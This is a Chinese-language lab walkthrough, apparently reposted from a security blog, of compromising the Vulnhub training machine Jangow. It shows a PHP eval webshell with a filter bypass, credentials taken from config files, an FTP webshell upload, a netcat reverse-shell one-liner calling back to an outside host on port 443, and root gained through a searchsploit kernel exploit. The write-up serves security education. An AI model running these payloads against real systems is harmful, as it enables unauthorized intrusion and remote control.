Vulnhub打靶-Jangow

admin 2025年6月28日02:20:22评论2 views字数 2432阅读8分6秒阅读模式

题目地址

https://www.vulnhub.com/entry/jangow-101,754/
Vulnhub打靶-Jangow

环境搭建

参考这篇文章:
https://blog.csdn.net/zg_111/article/details/129810060

实战

信息收集

发现存在FTP、80端口的Web服务
Vulnhub打靶-Jangow
Web页面如下:
Vulnhub打靶-Jangow
进去site看看,发现是一个简单的前端页面
Vulnhub打靶-Jangow
查看网页源代码发现一个php
Vulnhub打靶-Jangow
综合上述特征,初步对网站的架构有所了解了,就是Apache+PHP,操作系统为Ubuntu。同时通常PHP会配合MySQL,所以大概率也是MySQL的数据库。

命令执行

访问上面的php文件发现它可以进行命令执行
Vulnhub打靶-Jangow
既然可以命令执行,那么就简单了,我们可以尝试写入webshell。
echo%20"<?php @eval($_POST[cmd]);?>" > 666.php
但是网站好像存在一定的过滤。
Vulnhub打靶-Jangow
对于这种过滤,我们可以采用分步的写法写入,先写入如下内容:
echo"<?php @eval(123[cmd]);?>" > 666.php

然后调用命令将123替换为$_POST即可。

sed 's/123/$_POST/g' 666.php
Vulnhub打靶-Jangow
但是访问过去是无法访问到的。
Vulnhub打靶-Jangow
那么我们就得想想其他办法了,通过命令执行进一步收集信息。
发现wordpress目录
Vulnhub打靶-Jangow
进去看看有什么
Vulnhub打靶-Jangow
发现了config.php文件,基本都是配置信息,可能存在敏感文件,我们继续看看。
Vulnhub打靶-Jangow
<?php
$servername = "localhost";
$database = "desafio02";
$username = "desafio02";
$password = "abygurl69";
// Create connection
$conn = mysqli_connect($servername$username$password$database);
// Check connection
if (!$conn) {
die("Connection failed: " . mysqli_connect_error());
}
echo"Connected successfully";
mysqli_close($conn);
?>
果然存在配置信息,但是3306不对外开放,所以我们得先拿到shell,继续看看有没有敏感信息。
发现上一级目录下存在.backup文件,应该是一个备份的文件。
Vulnhub打靶-Jangow
访问看看得到的也是配置信息。
$servername = "localhost";
$database = "jangow01";
$username = "jangow01";
$password = "abygurl69";
// Create connection
$conn = mysqli_connect($servername$username$password$database);
// Check connection
if (!$conn) {
die("Connection failed: " . mysqli_connect_error());
}
echo"Connected successfully";
mysqli_close($conn);
再去其他目录看看,在/home/jangow01目录下发现了第一个flag。
Vulnhub打靶-Jangow
flag:d41d8cd98f00b204e9800998ecf8427e
同时他还有.bash_history,这个记录了执行过的命令,可能存在敏感信息,但是我们并没有权限查看,后面我们再来看看这个有没有用。

FTP

还记得我们前面还没看的FTP吗?既然我们拿到了两个账号密码,那么就尝试连接一下吧。这里问一个问题,哪个账号的成功率比较大?
应该是jangow01,因为他在home目录下存在目录,而另一个账户没有。
答案也正如我们所想,当我们连接FTP时,只有jangow01成功连接上了。
Vulnhub打靶-Jangow
通过get <filename>即可拿到对应的文件,发现.bash_history好像并没有什么重要的信息。
Vulnhub打靶-Jangow
那么我们现在需要的就是进一步拿到shell,既然我们已经是FTP了,那是不是可以上传一个webshell?
put一个文件到web目录下直接连接到哥斯拉
Vulnhub打靶-Jangow
尝试连接数据库,但是这俩账号都连接不上去。
那现在就考虑提权了,对于提权,我们一般是交互式的shell来提权,所以我们得先想办法拿到一个反弹shell。

反弹shell

发现反弹shell失败了,使用其他的反弹shell方法均失败,猜测这里可能是对什么做了限制
Vulnhub打靶-Jangow
Vulnhub打靶-Jangow
最终发现只有443可以反弹shell,但是通过命令执行并不行,得通过代码来实现
<?phpsystem("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.139.1 443 >/tmp/f");?>
Vulnhub打靶-Jangow

权限提升

拿到反弹shell,升级一下shell成为交互式的shell。

python3 -c 'import pty;pty.spawn("/bin/bash")'
Vulnhub打靶-Jangow
接下来就是找到对应的权限提升脚本了,看看当前是Ubuntu的哪个版本
Vulnhub打靶-Jangow
发现是Ubuntu的16.04这个版本,我们去MSF中找到对应的exp。
searchsploit linux 4.4.0 | grep Ubuntu
Vulnhub打靶-Jangow
find / -name 45010.c
Vulnhub打靶-Jangow
上传到对应的目录中编译成可执行文件
gcc 45010.c
执行即可提权
Vulnhub打靶-Jangow
拿到最后一个flag
Vulnhub打靶-Jangow
flag:da39a3ee5e6b4b0d3255bfef95601890afd80709

总结

这是一道比较简单的题目,在这个题目中我们可以尝试去绕过写入webshell,在webshell失效的情况下通过FTP进行上传,在反弹shell失效的情况下可以通过脚本发现可以利用的端口,然后根据内核版本找到对应的溢出漏洞拿到root。

原文始发于微信公众号(ElmWhite安全小记):Vulnhub打靶-Jangow

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月28日02:20:22
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Vulnhub打靶-Jangowhttps://cn-sec.com/archives/4205722.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息